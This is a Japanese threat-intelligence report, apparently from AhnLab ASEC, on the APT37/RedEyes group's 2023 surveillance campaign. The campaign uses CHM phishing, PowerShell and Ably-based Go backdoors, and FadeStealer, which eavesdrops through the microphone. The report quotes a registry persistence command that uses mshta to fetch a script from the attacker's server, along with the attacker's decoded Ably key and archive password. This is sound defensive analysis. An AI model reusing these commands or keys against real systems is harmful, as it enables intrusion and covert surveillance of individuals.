個人を盗聴する RedEyes グループ (APT37)

1. 概要

RedEyes(APT37、ScarCruft、Reaper としても知られる)グループは国から支援を受ける APT 組織であり、主に脱北者、人権運動家、大学教授等の個人をターゲットに攻撃を実行する。彼らの任務は、特定人物の日常を監視することだと知られている。ASEC (AhnLab Security Emergency response Center)は2023年5月、RedEyes グループが Ably プラットフォームを悪用した Golang バックドアを配布、およびマイク盗聴機能を含む、これまでに認知されていない新たな情報流出型マルウェアを使用している状況を確認した。
ABLY[1]は、リアルタイムなデータおよびメッセージをやりとりするためのプラットフォームであり、Pub/Sub メッセージング、プッシュ通知、リアルタイムクエリ、ステータスの同期を実行できる。

攻撃者は Ably サービスを利用する Golang バックドアによってコマンドを伝達しており、コマンドの通信に必要な API キーの値を Github リポジトリに保存していた。この API キーの値は攻撃者のチャンネルと通信を行うために必要な値であり、キー値を知っていれば誰でも購読が可能である。これにより、解析当時に攻撃者が使用していた一部のコマンドを確認することができた。

ASEC はこのブログを通じて、2023年5月に RedEyes グループが個人を監視するために使用した初期アクセスの手法から、権限昇格、コマンド制御および流出まで、各攻撃の段階別に攻撃者が使用した TTPs(Tactics, Techniques, and Procedures)を共有する。

[図1] RedEyes の攻撃フロー

2. 解析

2.1. 初期アクセス(Initial Access)

攻撃者は CHM(Compiled HTML Help File)ファイルを利用して初期アクセスを実行していた。3月の「パスワードファイルに偽装して拡散しているマルウェア」の記事で取り上げた事例と[2]のように、パスワードがかけられた正常なドキュメントとパスワードファイルに偽装した CHM マルウェアを同時に添付して、スピアフィッシングメールによって攻撃ターゲットに接近したものと推定される。すなわち、攻撃者はパスワードがかけられた正常なドキュメントと CHM マルウェアを同時に圧縮して、パスワードがかけられたドキュメントを閲覧するために CHM ファイルを開くことが必要であるかのようにすることで、マルウェアの実行を誘導したのである。

[図2] おとりドキュメントと不正な CHM ファイル

ユーザーが CHM ファイルを開くと、[図3]のようにパスワード情報が確認できるが、それと同時に[図4]の CHM 内部スクリプトコードにより MSHTA.exe が実行され、攻撃者の C&C サーバーから不正なスクリプトが同時に実行される。

[図3] CHM ファイルの内容
[図4] CHM 内部のスクリプトコード

解析当時に確保された不正なスクリプトは、自動実行レジストリキーを利用した持続性の維持と、バックドア機能を持つ PowerShell によるマルウェアであると確認された。

[図5] 攻撃者のサーバーからダウンロードされた PowerShell スクリプト(Backdoor)

20232月の「ステガノグラフィー技法を使用したアレアハングル(HWP)マルウェア」記事の[3]において当時確認された PowerShell を利用したマルウェアは、CMD.exe を利用した攻撃者コマンドの実行および結果の転送、持続性のためのレジストリ RUN キー登録を行うような、比較的単純な機能を行うものであった。しかし、今回確保された PowerShell を利用したマルウェアでは、持続性を確保するためのレジストリキー登録機能は同じだが、CMD.exe を使用せずに C&C サーバーのコマンドによって異なる振る舞いを実行する PowerShell バックドア型マルウェアが確認された。機能は以下の[表1]の通りである。

コマンド 機能
fileinfo 特定パスのファイルリストおよび情報(名前、サイズ、更新日時)を CSV 形式で保存したあと、C&C サーバーにこれを転送および削除する機能を実行
dir 特定パスのフォルダーを圧縮し、これを C&C サーバーに転送したあと、圧縮ファイルを削除する機能を実行
file 特定ファイルを C&C サーバーに転送(アップロード)
down 特定パスにファイルをダウンロード
regedit レジストリ編集機能
task 10分間隔で繰り返し実行するタスクスケジュール登録機能
zip 特定パスの圧縮ファイルを解凍する機能
rename 特定のファイル名を変更する機能
del 特定パスのファイルを削除する機能
[表1] PowerShell のバックドア機能

2.2. 持続性 (Persistence)

MSHTA.exe により実行された PowerShell の不正なスクリプトは、以下のコマンドによって自動実行レジストリキーを登録し、システム再起動時も攻撃者の C&C サーバーから不正なスクリプトが実行されるようにする。

  • New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name kcJuWlrQO -Value ‘c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta hxxp://172.93.181[.]249/control/html/1.html’ -PropertyType String -Force;

2.3. コマンド制御 (Command and Control)

攻撃者は、Go 言語ベースの Ably プラットフォームサービスを利用するバックドア型マルウェアを通じて、権限昇格、情報流出型マルウェアの配布等、その後の攻撃段階を実行している。Ably プラットフォームの特徴は、リアルタイムでデータを送信でき、チャンネルの認証キーを知っていれば誰でもそのチャンネルに接続してメッセージを受け取ることができる点である。ASEC は解析当時に攻撃者チャンネルの認証キーを確保し、攻撃のターゲットに伝達する一部のコマンドを確認することができた。

コマンドの伝達時刻 実行コマンド
2023-05-09 10:16:16 forfiles /p c:\programdata
2023-05-09 10:49:47 ren c:\programdata\wallpaper-river.jpg wallpaper-river.exe
2023-05-09 10:49:53 forfiles /p c:\programdata
2023-05-09 10:50:09 wmic OS get Caption,CSDVersion,OSArchitecture,Version
2023-05-09 10:50:35 c:\programdata\wallpaper-river.exe
[表2] AblyGo バックドアにより実行されたコマンド

RedEyes グループがコマンド伝達のために Ably を使用することについては、KISA[4]Sekoia[5](外国語外部サイト)のレポートを通じて報告された経緯がある。当時確認された Ably ベースの Go バックドアは、[図6]のようにバイナリ内部に認証キーが存在していたが、今回確保されたバックドアは認証キーを Github リポジトリに保存し、動的に認証キーを受け取ってチャンネル通信を実行していた。これは、Ably チャンネルの認証キーをランダムに変更して、攻撃ターゲット以外の第三者によるチャンネルメッセージの購読を困難にするための意図であると見られる。

[図6] ハードコーディングされた認証キー情報 (過去の AblyGo バックドア)
[図7] Github を利用した認証キー照会機能 (AblyGo バックドアの変形)
(Github アドレス:https://raw.githubusercontent.com/thanks023/hello/main/ReadMe.txt)

Ably チャンネルの認証キーを受け取るため、Go バックドアはバイナリ内部に存在する Github アドレスに接続して「<>BASE64 でエンコードされたチャンネル認証キー」の形式になっているデータを受け取る。これと同様の方式は、20233月に zscaler が公開した「The Unintentional Leak:A glimpse into the attack vectors of APT37[6](英文外部サイト)の[Figure 4]でも確認できる。この記事によれば、攻撃者は BASE64 でエンコードされた文字列を頻繁にコミットしていたという。[Figure 4]に明示された文字列を BASE64 で復号化した結果、Ably 認証キーの値であることが確認された。

[Github のコミット文字列]
<>S3dITXZ3LmJvaUMzdzpqR2JmMDd3VW9iN3RGanoxM1dxRFE4WJRsVFBDbVBQdldzb3hZYjFxc21r
[Github の文字列を復号化]
<>KwHMvw.boiC3w:jGbf07wUob7tFjz13WqDQ8X.lTPCmPPvWsoxYb1qsmk (Ably 認証キー)

AblyGo バックドアが被害 PC で実行されると、Github から「<>認証キー」を受け取り、[図7]のコード部分のように「<>」をフィッシングして後ろの文字列を BASE64 でデコードする。そして、デコードした認証キーの値を通じて攻撃者の Ably チャンネルに接続し、「UP」、「DOWN」というメッセージ名を送受信する。送受信データの形式と機能は、以下[表3]の通りである。

メッセージ名(機能) データ形式
UP (HELLO 送信 & CMD コマンド結果のアップロード) {“Id”:”コンピュータ名”,”Textdata”:”SEVMTw==”}
DOWN (CMD コマンドの伝達) {“Id”:”コンピュータ名”,”Textdata”:”SEVMTw==”}
[表3] AblyGo バックドアのメッセージ送受信形式および機能

被害 PC で実行された AblyGo はおよそ2~5分の間隔で、現在 PC が攻撃者の Ably チャンネルに接続されていることを示す「HELLO」データを BASE64 でエンコードして送信する。(メッセージ名:UP)

そして、攻撃者は Ably チャンネルをモニタリングしつつ、被害 PC ID(コンピュータ名)を識別して BASE64 でコマンドをエンコードして再び伝達する。(メッセージ名:DOWN)

C&C サーバーから渡されたコマンドの実行はすべて CMD.exe を通じて行われ、CMD のコマンド結果は再び「UP」メッセージを通じてチャンネルに送信する。すなわち、UP は攻撃者の立場において被害 PC を識別してコマンドに対する結果値を受け取るメッセージであり、DOWN は命令を下す際に使用するメッセージである。

2.4. 権限昇格(Privilege Escalation)

コマンド制御の後、攻撃者は既知の権限昇格手法である T1546.015 (Event Triggered Execution: Component Object Model Hijacking)を使用してさらなるマルウェアを実行した。以下の[図8]レジストリキーに登録されたマルウェアは、確保することができなかった。

[図8] 権限昇格手法(T1546.015)

2.5. 流出 (Exfiltration)

攻撃者は AblyGo バックドアと MSHTA、PowerShell を利用して最終的に情報流出型マルウェアをファイルレス形式で実行した。

[図9] FadeStealer 実行フロー
[図10] AhnLab EDR(Endpoint Detection Response)の検知画面(プロセスツリー構造)

実行された情報流出型マルウェアは PC 画面のスクリーンショットキャプチャ、リムーバブルメディアデバイス & スマートフォンデータ流出、キーロガー、さらには盗聴機能まで含まれていた。

[図11] FadeStealer に含まれていた盗聴機能

ASEC は新たに確認されたこのマルウェアに対し、流出データが保存されるフォルダー名の特徴をもとに FadeStealer(Fade as a stealer)と命名した。FadeStealer は %temp% パスに流出データごとにそれぞれフォルダーを生成して保存している。そして、ファイルに内蔵された RAR 圧縮ユーティリティによってパスワードを使用し、30分間隔で被害 PC から流出したデータを圧縮したあと、攻撃者の C&C サーバーにファイルを転送していた。このとき、圧縮ファイルのサイズが 1GB を超える場合、ボリュームを最大 1GB に指定して分割圧縮する機能により、データを流出させる緻密さを示した。

フォルダーのパス 流出データ
%temp%\VSTelems_Fade\NgenPdbc 画面キャプチャ
%temp%\VSTelems_Fade\NgenPdbk キーロガー
%temp%\VSTelems_Fade\NgenPdbm マイク盗聴
%temp%\VSTelems_FadeIn スマートフォンデバイスのデータ収集
%temp%\VSTelems_FadeOut リムーバブルメディアデバイス
[表4] フォルダーのパスおよび流出データ
[図12] AhnLab EDR の検知画面(RAR 圧縮ユーティリティを利用した情報流出)
圧縮オプション 機能説明
a 圧縮ファイル追加
r 圧縮ファイル復旧
ep1 名前からベースディレクトリを除外
m0 圧縮レベル設定(保存)
y すべての質問に自動で yes で答える
p NaeMhq[d]q 圧縮パスワード NaeMhq[d]q で設定
v1g 圧縮ボリュームを 1GB 単位に設定
[表5] 圧縮オプション
[図13] 攻撃者サーバーから確認された個人情報流出データ

3. 結論

RedEyes グループは脱北者、人権運動家、大学教授等の特定の個人をターゲットに攻撃を実行する。主に情報流出が目的であり、今回の攻撃事例ではマイク盗聴機能が含まれた情報流出型マルウェアが確認された。大韓民国では個人に対する無断盗聴はプライバシー侵害とみなされ、関連法令により厳しく規制されている。にもかかわらず、攻撃者は被害者が PC で行う様々なタスクをすべて監視し、盗聴までも実行したのである。

今回の攻撃事例の全体的な攻撃フローを見ると、スピアフィッシングメールを通じて攻撃ターゲットに接近し、Ably チャンネルをコマンド制御サーバーとして使用する等、攻撃者は巧妙かつ緻密に攻撃を試みている。このような攻撃は個人が被害を認知することすら困難な場合がある。したがって、ASEC は RedEyes グループを綿密に追跡しており、さらなる被害が発生しないよう迅速に対応を行っている。

攻撃を予防するには、出どころが不明な電子メールの添付ファイルは開かないよう注意しなければならない。特に、最近この組織は CHM、LNK 拡張子をベースとするマルウェアを初期アクセスに使用しているため、電子メールに添付されたファイルを実行する際には拡張子を注意深く確認する必要がある。拡張子オプションはデフォルトでは非表示に設定されているため、以下の[図14]を参考にして[登録されている拡張子は表示しない]のチェックを解除し、添付ファイルが CHM、LNK である場合、メールの出どころを必ず確認してから実行するようにしなければならない。

[図14] [登録されている拡張子は表示しない]のチェックを解除

4. 参考文献

[1] Ably
[2] Malware Distributed Disguised as a Password File
[3] HWP Malware Using the Steganography Technique: RedEyes (ScarCruft)
[4] TTPs $ ScarCruft Tracking Note – KISA
[5] Peeking at Reaper’s surveillance operations – sekoia
[6] The Unintentional Leak: A glimpse into the attack vectors of APT37 – zscaler

[IOC]
[MD5]
[CHM]
1352abf9de97a0faf8645547211c3be7

[Powershell Backdoor]
1c1136c12d0535f4b90e32aa36070682

[AblyGo の変形]
msedgeupdate.ini (3277e0232ed6715f2bae526686232e06)
msedgeupdate.ini (3c475d80f5f6272234da821cc418a6f7)

[Dll Sideloading – Loader]
mfc42u.dll (59804449f5670b4b9b3b13efdb296abb)

[FadeStealer]
DESKTOP.lNl (f44bf949abead4af0966436168610bcc)

[ファイル検知]
Trojan/Win.Goably.C5436296 (2023.06.03.00)
Trojan/Win.Goably.C5422375 (2023.05.09.02)
Trojan/Win.Loader.C5424444 (2023.05.09.02)
Data/BIN.RedEyes (2023.06.08.01)
Downloader/CHM.Generic (2023.06.02.03)
Downloader/PowerShell.Generic (2023.06.06.00)

[ビヘイビア検知]
Injection/EDR.Event .M11124

[C&C]
[流出データ保存アドレス]
hxxp://172.93.181[.]249/control/data/

[AblyGo バックドアのアップロードパス]
hxxp://172.93.181[.]249/file/

[初期アクセス段階以後の Powershell Backdoor ダウンロードアドレス]
hxxp://172.93.181[.]249/control/html/1.html

振る舞い情報検知および解析を通じたエンドポイント可視性を提供し、脅威を能動的に追跡する AhnLab EDR についての詳しい情報は AhnLab の公式 HP で確認できる。